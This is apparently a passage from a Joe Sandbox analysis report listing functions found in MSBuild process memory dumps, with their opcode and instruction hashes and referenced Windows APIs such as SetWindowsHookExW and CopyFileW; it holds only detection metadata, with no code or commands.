Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f1d5408aeeeba8d8666e08eb44672a7ad7538b046bf74934f6d707d0603469
Instruction ID: 1e56fc0606d2a99cbea3e4e90e5d3093d7bcc26b245f57e34c8c11ea2e76b2f4
Opcode Fuzzy Hash: f2f1d5408aeeeba8d8666e08eb44672a7ad7538b046bf74934f6d707d0603469
Instruction Fuzzy Hash: 6CF1B4B4E01219CFDB68CF69D984B9DBBB2BF89304F1095AAE409B7355DB309985CF10

Function 06BDD7E0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5028c85de45a6c5d99bd3002d074951f8f814d99f12d9c5507285e461ddb276b
Instruction ID: a29e8882c24d4d4e8a970e2370c970a328a8ef62911982b523965fe6f4e426d4
Opcode Fuzzy Hash: 5028c85de45a6c5d99bd3002d074951f8f814d99f12d9c5507285e461ddb276b
Instruction Fuzzy Hash: 6BF1E470E01618CFDB64DF69C984BDEBBB2BF89300F1491E9D409AB255DB309A85CF84

Function 06D5B380 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7f9c1204b063f3762c057e8f8b74b2bcde9d8a0f1b1be147041d32f7f1524c9
Instruction ID: 4644ca44deb2e047d5bc5e43cfbd49e4f02df8e864033cfd6f94561786ffde9c
Opcode Fuzzy Hash: e7f9c1204b063f3762c057e8f8b74b2bcde9d8a0f1b1be147041d32f7f1524c9
Instruction Fuzzy Hash: C5D1B074E00219CFDB64CFA9C994B9DBBF2BB48300F1581AAE809EB755D734A981CF50

Function 0794C0EE Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a57f2055de302ccb66381b7cedc594f824357446fe56fd4ae5bda38d6b0fb234
Instruction ID: f753c67ad86961a3b1a4904da54544ecf5fabfe2d920e04b3d1a026ca86c6cb4
Opcode Fuzzy Hash: a57f2055de302ccb66381b7cedc594f824357446fe56fd4ae5bda38d6b0fb234
Instruction Fuzzy Hash: FFD1E5B4A01229CFDB64DF68C984AEDB7B2BF4A314F2081E9D419A7355DB319E81CF50

Function 06D56826 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a68d54aba58c62465a0705e1fae7189199dc1116f40dd4438e2a65e126311123
Instruction ID: e443ab311f04437f1b70aa0d594a620d2bbb56e0a5b7b78f893a79a36e0c8854
Opcode Fuzzy Hash: a68d54aba58c62465a0705e1fae7189199dc1116f40dd4438e2a65e126311123
Instruction Fuzzy Hash: BCC10874A001198FEB54DF68C984B9DB7B2FF88300F5582A5E419AB755DB34EE81CF40

Function 06D56828 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f3688e3aff77f3ec024fe3d64c1cb00af1d4cbac14600cbd3e04be36629f39
Instruction ID: 2a875cf2cb1a5437b326c5f6d3b4fd836cefee5be113f7f6e28e0faa00758d80
Opcode Fuzzy Hash: f3f3688e3aff77f3ec024fe3d64c1cb00af1d4cbac14600cbd3e04be36629f39
Instruction Fuzzy Hash: 21C10874E001198FEB54DF68C984B9DBBB2BF88300F5582A5E419AB755DB34DE81CF44

Function 07310007 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936995276.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7310000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36e66e2bf7ac571f2a9b17397261baf0b75b890acf1e71f5492484d6629bfdfc
Instruction ID: 5f45ec728cc333de1fa8271e86fe3b4f0145093bc541cb7dd4c7d242e7aa2b57
Opcode Fuzzy Hash: 36e66e2bf7ac571f2a9b17397261baf0b75b890acf1e71f5492484d6629bfdfc
Instruction Fuzzy Hash: 14D1C3B4E012298FDB64DF69D984B99BBF2BB89310F0481EAD40CA7351DB359E95CF40

Function 06BD85E8 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95a2b9476bf4602c06371ee85e0f0650f17cb6dc60ab66c5d3d1477bec3a4d27
Instruction ID: e9e569141f032ac11bdf05a763892323275ab88d9755a18d158807e1d9bf1966
Opcode Fuzzy Hash: 95a2b9476bf4602c06371ee85e0f0650f17cb6dc60ab66c5d3d1477bec3a4d27
Instruction Fuzzy Hash: CCB1D2B5A00219CFDB64DF69D980B9DBBF2BB49300F1481AAD409EB355EB309A81CF54

Function 06D6DC08 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9255a07245dfbb8135edf8aecd7cd066e80ba631d275b057d3823411ea29c9
Instruction ID: 8d5279b01ddbde8d72e78c94cef938cf6a2bb3ca5dddfc1c6a055dadca403cfa
Opcode Fuzzy Hash: ae9255a07245dfbb8135edf8aecd7cd066e80ba631d275b057d3823411ea29c9
Instruction Fuzzy Hash: C6A191B8E00219CFDB54CFA9D980A9DBBF2BF89310F14816AE859E7341DB309945CF50

Function 07999EB9 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0861620e969e08b2e0fee03538940d56b57b7c777d0b8f3de3ad502285385cb2
Instruction ID: 032fb09a1b3933fb2b3e88c7dd7ab169f28aa4361b1ed6b16d06b02a64209903
Opcode Fuzzy Hash: 0861620e969e08b2e0fee03538940d56b57b7c777d0b8f3de3ad502285385cb2
Instruction Fuzzy Hash: 288183B5E01618CFEB58CFAAC984B9DBBF2BF89314F14C1AAD409A7265DB305945CF10

Function 00E6BD45 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9c63054bf9e7af814f5b66e4399b497f89d5d563b8f7abc4d0bcbafe0024de8
Instruction ID: 458919745655c75928f557f203af80ebc9bb4735f0d6a6ee06faae8d88feb52b
Opcode Fuzzy Hash: d9c63054bf9e7af814f5b66e4399b497f89d5d563b8f7abc4d0bcbafe0024de8
Instruction Fuzzy Hash: 577105B4E042498FDB44CFAAC984A9EBBF2BF89300F15816AE515EB365D7349906CF50

Function 00E6BD78 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 350968621b1f6bf880f0c7914be92ce8c196869c1996d4a4d1c5cf2e2b9661e8
Instruction ID: 9f175c57edf69be5da5314735239e0c8f89ae8fea813c9a186cf5ca3e6b5396b
Opcode Fuzzy Hash: 350968621b1f6bf880f0c7914be92ce8c196869c1996d4a4d1c5cf2e2b9661e8
Instruction Fuzzy Hash: 7671A3B4E002198FDB44CFAAC984A9EBBF2FF88300F24D169E515AB365D734A945CF54

Function 0794B73A Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef4c09170a4d1f364cc8bc44a8024f1cb53e012872c307b8a81a31bb2f13b2c0
Instruction ID: 0d0b5ac96018f03f221bc1d0df78b497ee99b4eb7925aa4943dd7af864115932
Opcode Fuzzy Hash: ef4c09170a4d1f364cc8bc44a8024f1cb53e012872c307b8a81a31bb2f13b2c0
Instruction Fuzzy Hash: 00512CB4E00218CFEB68DF69C854BDEBBB2BF89304F10C1A9D409AB251DB305A85CF51

Function 06BD4948 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 798a0490f62fc70ea0ce93fc0cf7fb2fe596448720d4c69bc6f9efc0a97d7e21
Instruction ID: 7f831d84793c0ef7ea96233b50fd3a4c909a4e4cb21a41423505c5d1849ee2c1
Opcode Fuzzy Hash: 798a0490f62fc70ea0ce93fc0cf7fb2fe596448720d4c69bc6f9efc0a97d7e21
Instruction Fuzzy Hash: C94115B5E112088FDB18CFAAD9804EDFBF2EB89310F14E16AD814BB255D73498468B54

Function 06D5C308 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c02747292c68e8a89f60fac31bd4b42842a48cf2cfb30f8c14d10c4947eec8
Instruction ID: cebaab9ebf9490d79c5b2af1b10a3030e146f5bed060986851abd36a838bc4e0
Opcode Fuzzy Hash: f2c02747292c68e8a89f60fac31bd4b42842a48cf2cfb30f8c14d10c4947eec8
Instruction Fuzzy Hash: 28310470E012089FDB44DFA8D994ADDBBF2BF89310F119229E815B7794EB70AC41CB94

Function 06D5C318 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a292077d92efe1de2bdf294a8cc7cdde21c81dc83577503a46365269e32b2887
Instruction ID: bfe45f1bd41613805b719b15b3ebe34afcd754e2bc2c373dfe0b5655d4bf520d
Opcode Fuzzy Hash: a292077d92efe1de2bdf294a8cc7cdde21c81dc83577503a46365269e32b2887
Instruction Fuzzy Hash: B731F474E002089FDB44DFA8E984ADDBBF2BF49310F118229E415B7754DB70AC41CB94

Function 0794E720 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

W\q, xrefs: 0794E837
W\q, xrefs: 0794E7B1

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: W\q$W\q
API String ID: 0-1111290159
Opcode ID: 645d7ee8f6e08357fc45f04ebd112bb371dbdb3fd907e858d24f41f90c4a6ebe
Instruction ID: 57189fb0576bb651bbc501adfa3e697f47508f8ed6a64d73a2c77b3348c536b8
Opcode Fuzzy Hash: 645d7ee8f6e08357fc45f04ebd112bb371dbdb3fd907e858d24f41f90c4a6ebe
Instruction Fuzzy Hash: 5971E0B4E00209DFDB14DFA9D984A9DBBF2BF49314F208629E418AB355DB74A941CF44

Function 07C5531B Relevance: 1.7, Strings: 1, Instructions: 425COMMON

Download Yara Rule

Strings

*, xrefs: 07C556FC

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 028bf1a6cf5bc560f69751e22a5a6af149e37d1d3c404575e984c5bed13d1f09
Instruction ID: 75432c159aef10c39830126d4612f7c54d846295bfdf535e716478aa644a0c16
Opcode Fuzzy Hash: 028bf1a6cf5bc560f69751e22a5a6af149e37d1d3c404575e984c5bed13d1f09
Instruction Fuzzy Hash: A622D374A00229CFCB65DF68DD84A99B7B6FF49301F1481E9E409AB364DB31AE81CF44

Function 079924E4 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07992602

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c767ba86a02ca44aac78588a3dd8935150a45b7d4f1528803b0564aa006d7cb9
Instruction ID: 9f521278fba3b9c6005b609ca6e314a1a8ccdd1990ab8b0661c7e03dae666e2d
Opcode Fuzzy Hash: c767ba86a02ca44aac78588a3dd8935150a45b7d4f1528803b0564aa006d7cb9
Instruction Fuzzy Hash: C351B0B1D10359AFDF14CF99D884ADEBBB5BF48314F24812AE819AB210D771A945CF90

Function 07992470 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07992602

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ce5467dc7bf09277d5e2ac68c76b1864b0e77674c49099d27a380d5da7926e76
Instruction ID: 44021b403f3088c1513deb1744e2964f76051e52e5b2ba561bea4f44e9e9c0de
Opcode Fuzzy Hash: ce5467dc7bf09277d5e2ac68c76b1864b0e77674c49099d27a380d5da7926e76
Instruction Fuzzy Hash: 885101B1D10349AFEF14CFA9D880ADDBFB5BF48314F24816AE815AB251C771A885CF90

Function 079902BC Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07992602

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 133ec0a6989c6dd98f203edd5028a37a967d45ed72353b97ca059813179ca1ac
Instruction ID: 0aced3893a3acc3652ee1bfb41f2116d38cd7bc4bcac3273a8b6a3169ab592dd
Opcode Fuzzy Hash: 133ec0a6989c6dd98f203edd5028a37a967d45ed72353b97ca059813179ca1ac
Instruction Fuzzy Hash: 7B51B0B1D10349AFDF14CF99C884ADEBBB5FF48314F24812AE819AB214D770A845CF90

Function 06BD2EA0 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,03BB60D8,02C385BC), ref: 06BD2F36

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 66a926bbe323d804e1b1974a83fba8219fad8fafc631ebed4457524b033465d4
Instruction ID: 3b111b18503fcbe24568e5384bba90cee033f67689339e05ab102355da403704
Opcode Fuzzy Hash: 66a926bbe323d804e1b1974a83fba8219fad8fafc631ebed4457524b033465d4
Instruction Fuzzy Hash: D5316D747002008FE388EB74D954B1A73A6EBC5304B248569E1069F7A5EFB6ED468BD1

Function 07990404 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 07994CF1

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: c4a37fdcb3b263f7c13d8fc23c8b4eebde127d4f2e479a359000b2f444dc9c55
Instruction ID: 2fe2fac769885999e12c0e7d7fafa0a4ef52c58abbdc77b6cf6ed0c88dd1bf7e
Opcode Fuzzy Hash: c4a37fdcb3b263f7c13d8fc23c8b4eebde127d4f2e479a359000b2f444dc9c55
Instruction Fuzzy Hash: 56413AB9900349DFDB15CF99C488AAABBF5FB88314F248859D41967321D375A841CF64

Function 06BD2E90 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,03BB60D8,02C385BC), ref: 06BD2F36

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 840e33d9a963ddbf2b27ef75c48fb36edc8d8fd0bc70cfc8b406f2fb358bf06f
Instruction ID: e9cf6bf5e33de9a2be00e467b8f0a927a7cff2a9a1625e118fecf09226383da0
Opcode Fuzzy Hash: 840e33d9a963ddbf2b27ef75c48fb36edc8d8fd0bc70cfc8b406f2fb358bf06f
Instruction Fuzzy Hash: 0931BE747002819FE389EB38C554A197BE2EF86204724859AE146CF3A2DF76DD06CB91

Function 06D6AE70 Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 06D6AF11

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 527e897c147f5dd577c71f0b321b8ef825c37ae24853c8b15ebc11ce47cbb08b
Instruction ID: 6cc8397c93ce5841c6970b21e2160501bcf3864e6f893bec29d439e04f6b0033
Opcode Fuzzy Hash: 527e897c147f5dd577c71f0b321b8ef825c37ae24853c8b15ebc11ce47cbb08b
Instruction Fuzzy Hash: A83128B1D012199FCB54CFAAD5847EEFBF1EF48310F19816AE848BB245D3349A44CBA5

Function 06D6AE78 Relevance: 1.6, APIs: 1, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 06D6AF11

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: f73f670d7b5295d57cd29bbe0d82ddcd61798c2265c6b2a307cf7d99276484b8
Instruction ID: 4b0504a74ecf1b006f8f9e0de1b81ac7bf2f31be1ad4426d6ee8ee3d75af715f
Opcode Fuzzy Hash: f73f670d7b5295d57cd29bbe0d82ddcd61798c2265c6b2a307cf7d99276484b8
Instruction Fuzzy Hash: 5E214BB1D012199FCB54CF9AD4807EEFBF4EF48310F15816AE848BB245D3349944CBA4

Function 07314000 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 0731407B

Memory Dump Source

Source File: 0000000A.00000002.3936995276.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7310000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 3255f8d90fa480ef99388bced5d0453320cac1c1911abd943e774cf64bc2e609
Instruction ID: c1f80d0c8d868d85a9303af393df897421ef2438b1afc5c7519eff0fda4cd7f0
Opcode Fuzzy Hash: 3255f8d90fa480ef99388bced5d0453320cac1c1911abd943e774cf64bc2e609
Instruction Fuzzy Hash: 012132B1D002499FDB18DFAAD844BAEFBF5EF88310F10842AE419A7250C774A940CFA5

Function 07313FF8 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 0731407B

Memory Dump Source

Source File: 0000000A.00000002.3936995276.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7310000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 0b9777da3fb7a079a406d1c96d888b69095de20865b893e3df598f8b29dc5234
Instruction ID: 1eb708e304f21326b5c22119e30128c427107db4a2db5db1e38bfcd19466c5e3
Opcode Fuzzy Hash: 0b9777da3fb7a079a406d1c96d888b69095de20865b893e3df598f8b29dc5234
Instruction Fuzzy Hash: 452134B5D002499FDB14CFAAD944BAEFBF1AF88310F10842EE419A7650C774A945CFA5

Function 07940006 Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

T, xrefs: 0794008B

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: T
API String ID: 0-3187964512
Opcode ID: f05b34acf7d35ade4ea678c0a9cf439227a6cbdc8d4232b2237186746554a494
Instruction ID: e176af5e3c7b209908cc58602cb61223a2910afae5f755c9c66a806d4b8481b4
Opcode Fuzzy Hash: f05b34acf7d35ade4ea678c0a9cf439227a6cbdc8d4232b2237186746554a494
Instruction Fuzzy Hash: A4A1F774E00649CFDB50DFA8D984A9DBBF2BF49300F2482A9D409EB296DB349985CF50

Function 07940040 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

T, xrefs: 0794008B

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: T
API String ID: 0-3187964512
Opcode ID: 36e66fab6e468f41a09bd55497caa1bcd1a9522d426ee33131f924473a86903b
Instruction ID: 2daeb3c00245d110372ba9380d86d1fe479cab672593f5c0d245627b1d9758ce
Opcode Fuzzy Hash: 36e66fab6e468f41a09bd55497caa1bcd1a9522d426ee33131f924473a86903b
Instruction Fuzzy Hash: 4691E6B4E00609CFDB54DFA9D984A9DFBF2BF48304F2082A9D419AB355DB30A981CF54

Function 07C5A500 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

`, xrefs: 07C5A599

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 42d0ca00a173ad801530368ff32dfa1cf4620f740f6f59dda37062d833d129d2
Instruction ID: 00f17118646c969f22c110cea53792692b1cfcab9cbb8c06a96833fd31c65f2b
Opcode Fuzzy Hash: 42d0ca00a173ad801530368ff32dfa1cf4620f740f6f59dda37062d833d129d2
Instruction Fuzzy Hash: 834128B1D006099FDB14CFAAD844ADDBBF2BF89300F10862AD815BB265CB716986CF44

Function 06D5DB32 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

8, xrefs: 06D5DB92

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 7b02f699cac6ad52352ddbf38621b78137cee1ce44cc68f1e319bb15c01dc8a6
Instruction ID: d835e75a0740b8e20c3d44f8188d83b61b62d59be282a21082df9cf17ea6ea90
Opcode Fuzzy Hash: 7b02f699cac6ad52352ddbf38621b78137cee1ce44cc68f1e319bb15c01dc8a6
Instruction Fuzzy Hash: 5B316D71E01209AFDF44DFA8E884ADDFBB6FF88311F108229E415BB250DB315841CBA8

Function 06D5DB40 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

8, xrefs: 06D5DB92

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 412c28eaced13beb22bbd88f5a41a8377b21376deed68680b5ea81dc3870c5e2
Instruction ID: f47826898e0a8b92a746be1e144a7fdb8e182de29616b4155826376c8b2a4270
Opcode Fuzzy Hash: 412c28eaced13beb22bbd88f5a41a8377b21376deed68680b5ea81dc3870c5e2
Instruction Fuzzy Hash: 44210670E01209AFDB44DFA8E884ADDBBB6BF89310F109229E415B7350DB306851CBA8

Function 06D55FD8 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

u, xrefs: 06D56025

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: u
API String ID: 0-4067256894
Opcode ID: 6a37960e7ec32ecaada8472af36ba0d856d62692efde986df9932af6e226e216
Instruction ID: 3b5c6b84fab192155dedff820359fe515aa99ec77e76ac26d2ee72a57bfe0eff
Opcode Fuzzy Hash: 6a37960e7ec32ecaada8472af36ba0d856d62692efde986df9932af6e226e216
Instruction Fuzzy Hash: 6821A3B4E012199FDB44DFAAD5845EEBBF2BF88310F10912AD914B7350E7345A41CFA4

Function 06D55F11 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

Q, xrefs: 06D55F64

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: Q
API String ID: 0-3463352047
Opcode ID: 449b8a18e507a8d0348eefa47961bb9aec3a97e5667798aca84f2934d2ac3d06
Instruction ID: 496fe1fcaa6dd38dc2b8c6bb9c457f59c2d89ea4c327c94be7e07fbd30172a65
Opcode Fuzzy Hash: 449b8a18e507a8d0348eefa47961bb9aec3a97e5667798aca84f2934d2ac3d06
